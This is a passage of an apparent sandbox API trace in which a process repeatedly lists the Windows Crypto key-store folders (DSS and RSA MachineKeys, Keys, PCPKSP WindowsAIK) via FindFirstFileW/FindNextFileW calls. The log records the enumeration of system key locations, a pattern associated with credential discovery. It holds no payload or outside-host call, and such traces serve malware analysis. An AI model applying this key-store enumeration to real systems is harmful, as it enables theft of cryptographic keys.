Users\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x33 [0209.841] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.842] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.842] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.842] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.842] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x33 [0209.842] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.843] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.843] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.843] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.843] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x28 [0209.843] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.844] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.844] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.844] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.844] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x28 [0209.844] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.845] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.845] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.845] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.845] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP", lpFilePart=0x0) returned 0x2a [0209.845] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\pcpksp\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.846] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.846] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0209.847] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0209.847] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.847] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP", lpFilePart=0x0) returned 0x2a [0209.847] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\pcpksp\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.847] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.847] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0209.848] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.848] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.848] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK", lpFilePart=0x0) returned 0x35 [0209.848] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\pcpksp\\windowsaik\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.849] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.849] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.849] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.849] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK", lpFilePart=0x0) returned 0x35 [0209.849] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\pcpksp\\windowsaik\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.849] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.850] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.850] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.850] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x27 [0209.850] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc4a8a1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.850] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc4a8a1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.851] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0209.851] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc4a8a1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0209.851] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc4a8a1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0209.851] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.851] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x27 [0209.851] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc4a8a1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.851] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc4a8a1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.852] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0209.852] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc4a8a1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0209.852] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.852] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.852] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x33 [0209.852] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, 